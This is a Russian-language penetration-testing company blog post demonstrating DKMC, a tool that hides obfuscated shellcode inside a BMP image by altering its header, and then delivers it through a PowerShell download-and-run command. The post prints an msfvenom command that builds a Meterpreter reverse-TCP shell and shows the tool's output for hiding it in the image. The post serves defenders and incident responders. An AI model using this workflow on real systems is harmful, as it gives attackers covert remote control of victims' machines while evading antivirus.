Кот или шеллКод?

в 10:37, , рубрики: bmp exploit, DKMC, evasion, Metasploit, shellcode, Блог компании PentestIT, информационная безопасность

Кот или шеллКод? - 1

Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don't Kill My Cat).

В чем суть?

Посмотрите на изображение ниже

Кот или шеллКод? - 2

Видите ли вы в нем что-то странное?

Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.

Кот или шеллКод? - 3

Однако это изображение содержит обфусцированный шеллкод по адресу 0x00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.

Кот или шеллКод? - 4

Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.

Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0x00200A04.

Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.

Для этого может использоваться, например, набор PowerShell команд.

Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.

Это правда работает?

Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.

Запуск

python dkmc.py

Нам доступно несколько действий

Кот или шеллКод? - 5

Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode

Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.

Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем

Кот или шеллКод? - 6

Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen

Кот или шеллКод? - 7

и получаем вывод

(generate)>>> run
	[+] Image size is 1000 x 700
	[+] Generating obfuscation key 0x14ae6c1d
	[+] Shellcode size 0x14d (333) bytes
	[+] Adding 3 bytes of padding
	[+] Generating magic bytes 0x4d9d392d
	[+] Final shellcode length is 0x19f (415) bytes
	[+] New BMP header set to 0x424de9040a2000
	[+] New height is 0xb7020000 (695)
	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)

Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.

Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения

Кот или шеллКод? - 8

и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения

Кот или шеллКод? - 9

Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы

Кот или шеллКод? - 10

Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера

Кот или шеллКод? - 11

Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.

Автор: antgorka

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js